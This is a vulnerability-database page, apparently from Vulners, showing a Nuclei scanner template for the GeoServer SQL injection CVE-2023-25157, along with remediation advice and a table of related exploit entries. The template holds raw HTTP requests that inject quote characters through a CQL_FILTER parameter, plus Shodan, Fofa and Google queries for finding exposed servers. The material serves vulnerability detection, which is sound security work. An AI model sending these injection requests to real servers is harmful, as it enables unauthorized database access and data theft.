Lucene search
+L

GeoServer OGC Filter - SQL Injection

🗓️ 23 Oct 2026 02:07:15Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 253 Views

GeoServer OGC Filter - SQL Injection in Jav

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for SQL Injection in Osgeo Geoserver
10 Sep 202607:14
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Osgeo Geoserver
12 Jun 202314:34
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Osgeo Geoserver
10 Jun 202309:00
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Osgeo Geoserver
6 Jun 202314:05
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Osgeo Geoserver
13 Jul 202616:09
–githubexploit
bdu_fstec
BDU FSTEC
OSGeo GeoServer SQL Injection
13 Apr 202300:00
–bdu_fstec
circl
Circl
CVE-2023-25157
22 Feb 202300:47
–circl
cnnvd
CNNVD
GeoServer SQL injection vulnerability
21 Feb 202300:00
–cnnvd
cve
CVE
CVE-2023-25157
21 Feb 202321:00
–cve
cvelist
Cvelist
CVE-2023-25157 Unfiltered SQL Injection Vulnerabilities in Geoserver
21 Feb 202321:00
–cvelist
Rows per page
id: CVE-2023-25157

info:
  name: GeoServer OGC Filter - SQL Injection
  author: ritikchaddha,DhiyaneshDK,iamnoooob,rootxharsh
  severity: critical
  description: |
    GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore *encode functions* setting to mitigate ``strEndsWith``, ``strStartsWith`` and ``PropertyIsLike `` misuse and enable the PostGIS DataStore *preparedStatements* setting to mitigate the ``FeatureId`` misuse.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the GeoServer project to fix the SQL Injection vulnerability.
  reference:
    - https://twitter.com/parzel2/status/1665726454489915395
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25157
    - https://github.com/win3zz/CVE-2023-25157
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf
    - https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25157
    cwe-id: CWE-89
    epss-score: 0.85247
    epss-percentile: 0.99719
    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"geoserver"
      - http.title:"geoserver"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
    google-query: intitle:"geoserver"
  tags: cve2023,cve,geoserver,ogc,sqli,intrusive,osgeo,vkev,vuln

http:
  - raw:
      - |
        GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=50&outputFormat=csv HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 30s
        GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=strStartswith({{column}},%27%27%27%27)=true HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    iterate-all: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "SQL SELECT"

      - type: word
        part: header_3
        words:
          - text/xml

    extractors:
      - type: regex
        name: name
        group: 1
        regex:
          - '<FeatureType><Name>(.*?)<\/Name><Title>'
        internal: true
        part: body_1

      - type: regex
        name: column
        group: 1
        regex:
          - 'FID,([aA-zZ_]+),'
        internal: true
        part: body_2
# digest: 490a00463044022009dba65789101c5fa56db1d9d339097953e640958289df87766068630a0d40e502206c238a799b8b15d0fc59348a543709bb76e4b8560b93d277055a38c7eb523c97:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation